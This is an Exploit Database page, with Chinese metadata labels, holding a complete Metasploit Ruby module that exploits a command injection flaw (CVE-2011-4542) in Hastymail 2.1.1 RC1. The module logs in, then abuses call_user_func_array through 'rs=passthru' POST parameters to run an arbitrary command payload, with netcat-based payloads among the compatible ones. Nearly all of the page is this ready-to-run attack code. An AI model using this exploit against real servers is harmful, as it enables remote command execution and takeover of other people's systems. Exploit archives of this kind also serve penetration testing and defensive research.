Hastymail 2.1.1 RC1 – Command Injection (Metasploit)

• Exploit Database
• 15 阅读

• 作者： Metasploit
  日期： 2012-07-12
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/19758/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info={})
  		super(update_info(info,
  			'Name' => "Hastymail 2.1.1 RC1 Command Injection",
  			'Description'=> %q{
  					This module exploits a command injection vulnerability found in Hastymail
  				2.1.1 RC1 due to the insecure usage of the call_user_func_array() function on
  				the "lib/ajax_functions.php" script. Authentication is required on Hastymail
  				in order to exploit the vulnerability. The module has been successfully tested
  				on Hastymail 2.1.1 RC1 over Ubuntu 10.04.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'Bruno Teixeira', # Vulnerability Discovery
  					'juan vazquez' # Metasploit module
  				],
  			'References' =>
  				[
  					[ 'CVE', '2011-4542' ],
  					[ 'BID', '50791' ],
  					[ 'OSVDB', '77331' ],
  					[ 'URL', 'https://www.dognaedis.com/vulns/DGS-SEC-3.html' ]
  				],
  			'Payload'=>
  				{
  					'Compat'=>
  						{
  							'PayloadType' => 'cmd',
  							'RequiredCmd' => 'generic perl ruby netcat-e',
  						}
  				},
  			'Platform' => ['unix'],
  			'Arch' => ARCH_CMD,
  			'Targets'=>
  				[
  					['Hastymail 2.1.1 RC1', {}]
  				],
  			'Privileged' => false,
  			'DisclosureDate' => "Nov 22 2011",
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptString.new('TARGETURI', [true, "The base path to Hastymail", "/hastymail2/"]),
  				OptString.new('USER', [true, "The username to authenticate with", ""]),
  				OptString.new('PASS', [true, "The password to authenticate with", ""])
  			], self.class)
  	end
  
  
  	def check
  		@uri = target_uri.path
  		@uri << '/' if @uri[-1,1] != '/'
  		@session_id = ""
  		@peer = "#{rhost}:#{rport}"
  
  		login
  
  		if not @session_id or @session_id.empty?
  			print_error "#{@peer} - Authentication failed"
  			return Exploit::CheckCode::Unknown
  		end
  
  		test = rand_text_alpha(rand(4) + 4)
  		data = "rs=passthru&"
  		data << "rsargs[]=#{rand_text_alpha(rand(4) + 4)}&"
  		data << "rsargs[]=echo #{test}"
  		res = send_request_cgi({
  			'method' => 'POST',
  			'uri' => "#{@uri}",
  			'Cookie' => @session_id,
  			'data' => data
  		})
  
  		if res and res.code == 200 and res.body =~ /#{test}/
  			return Exploit::CheckCode::Vulnerable
  		else
  			return Exploit::CheckCode::Safe
  		end
  	end
  
  	def login
  		res = send_request_cgi({
  			'method' => 'POST',
  			'uri'=> "#{@uri}?page=login",
  			'vars_post' =>
  			{
  				'user' => datastore['USER'],
  				'pass' => datastore['PASS'],
  				'login' => 'Login'
  			}
  		})
  
  		if res and res.code == 303
  			@session_id = res["Set-Cookie"]
  			print_good "#{@peer} - Authentication successfully"
  		end
  	end
  
  	def exploit
  		@uri = target_uri.path
  		@uri << '/' if @uri[-1,1] != '/'
  		@session_id = ""
  		@peer = "#{rhost}:#{rport}"
  
  		print_status "#{@peer} - Trying login"
  		login
  
  		if not @session_id or @session_id.empty?
  			print_error "#{@peer} - Authentication failed"
  			return
  		end
  
  		print_status "#{@peer} - Authentication successfully, trying to exploit"
  
  		data = "rs=passthru&"
  		data << "rsargs[]=#{rand_text_alpha(rand(4) + 4)}&"
  		data << "rsargs[]=#{payload.encoded}"
  
  		res = send_request_cgi({
  			'method' => 'POST',
  			'uri' => "#{@uri}",
  			'Cookie' => @session_id,
  			'headers' => {
  				'Cmd' => Rex::Text.encode_base64(payload.encoded)
  			},
  			'data' => data
  		})
  
  		if not res or res.code != 200 or not res.body =~ /\+/
  			print_error "#{@peer} - Exploitation failed"
  			return
  		end
  
  	end
  
  
  end